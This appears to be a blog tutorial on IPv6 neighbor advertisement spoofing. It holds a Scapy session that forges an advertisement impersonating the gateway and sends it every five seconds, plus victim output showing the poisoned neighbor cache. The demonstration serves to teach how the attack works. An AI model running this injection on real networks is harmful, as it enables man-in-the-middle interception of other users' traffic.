IPv4 over Ethernet, by far the most widely deployed LAN technology, has long been plagued by its vulnerability to a simple layer two attack known as ARP spoofing. To oversimplify, ARP spoofing is achieved when a malicious attacker crafts a gratuitous ARP advertisement purporting to be from another host on the LAN, typically the default gateway. By pretending to be the default gateway for a subnet, the attacker can intercept all traffic from the victim host(s) in a man-in-the-middle (MITM) attack.
However, with the (eventual) migration to IPv6, ARP is being phased out, so ARP spoofing should no longer be a problem, right? Wrong. Sort of. While it's true ARP does not exist in the IPv6 protocol stack, IPv6 instead relies on ICMPv6 for many of the same operations carried out via ARP under IPv4. Collectively, these functions make up IPv6's Neighbor Discovery (ND) protocol, described in RFC 4861.
Most similar to typical ARP usage under IPv4 is the ND address resolution function, which is used when a host wants to transmit to an on-link prefix but doesn't yet know the layer two address of the destination host. The sending host multicasts a neighbor solicitation, and the destination host, if reachable, responds with a neighbor advertisement containing its layer two address.
Unfortunately, as in ARP, these exchanges are completely unsecured. There are no countermeasures in place to prevent an attacker from generating a neighbor advertisement advertising his own layer two address as belonging to other hosts on the link.
We can put this theory into practice by fabricating our own custom neighbor advertisements and unicasting them to our intended victim. For this example, we'll use Scapy to craft our malicious advertisement layer by layer:
>>> ls(Ether) dst : DestMACField = (None) src : SourceMACField = (None) type : XShortEnumField = (0) >>> ether=(Ether(dst='00:00:00:00:00:0b', src='00:00:00:00:00:0c')) >>> ls(IPv6) version : BitField = (6) tc : BitField = (0) fl : BitField = (0) plen : ShortField = (None) nh : ByteEnumField = (59) hlim : ByteField = (64) src : SourceIP6Field = (None) dst : IP6Field = ('::1') >>> ipv6=IPv6(src='fe80::1', dst='fe80::2') >>> ls(ICMPv6ND_NA) type : ByteEnumField = (136) code : ByteField = (0) cksum : XShortField = (None) R : BitField = (1) S : BitField = (0) O : BitField = (1) res : XBitField = (0) tgt : IP6Field = ('::') >>> na=ICMPv6ND_NA(tgt='fe80::1', R=0) >>> ls(ICMPv6NDOptDstLLAddr) type : ByteField = (2) len : ByteField = (1) lladdr : MACField = ('00:00:00:00:00:00') >>> lla=ICMPv6NDOptDstLLAddr(lladdr='00:00:00:00:00:0c')
Once we've constructed the individual layers of the packet, we can see how they look after being welded together (notice that Scapy will handle minor aspects automatically, like setting the Ethernet type field to
0x86dd for IPv6).
>>> (ether/ipv6/na/lla).display() ###[ Ethernet ]### dst= 00:00:00:00:00:0b src= 00:00:00:00:00:0c type= 0x86dd ###[ IPv6 ]### version= 6 tc= 0 fl= 0 plen= None nh= ICMPv6 hlim= 255 src= fe80::1 dst= fe80::2 ###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]### type= Neighbor Advertisement code= 0 cksum= 0x0 R= 0 S= 0 O= 1 res= 0x0 tgt= fe80::1 ###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]### type= 2 len= 1 lladdr= 00:00:00:00:00:0c
We can now inject this packet at regular intervals onto the LAN. The following command within Scapy will retransmit the packet every five seconds:
>>> sendp(ether/ipv6/na/lla, iface='br0', loop=1, inter=5)
At a console on the victim machine (running Linux), we can use the
ip utility to monitor IPv6 neighbors on the link. Notice that the MAC address for fe80::1 is initially listed as
00:00:00:00:00:0a, the legitimate gateway, but as soon as we begin injecting our malicious neighbor advertisement, the entry is updated to
00:00:00:00:00:0c, our attacking machine.
Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c DELAY Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE
You can see this attack as it appears on the wire in this handy packet capture. The address resolutions which occur in packets #1/2, and #15/16 are legitimate. Our malicious advertisements are injected at five-second intervals in packets #33, #39, and #45.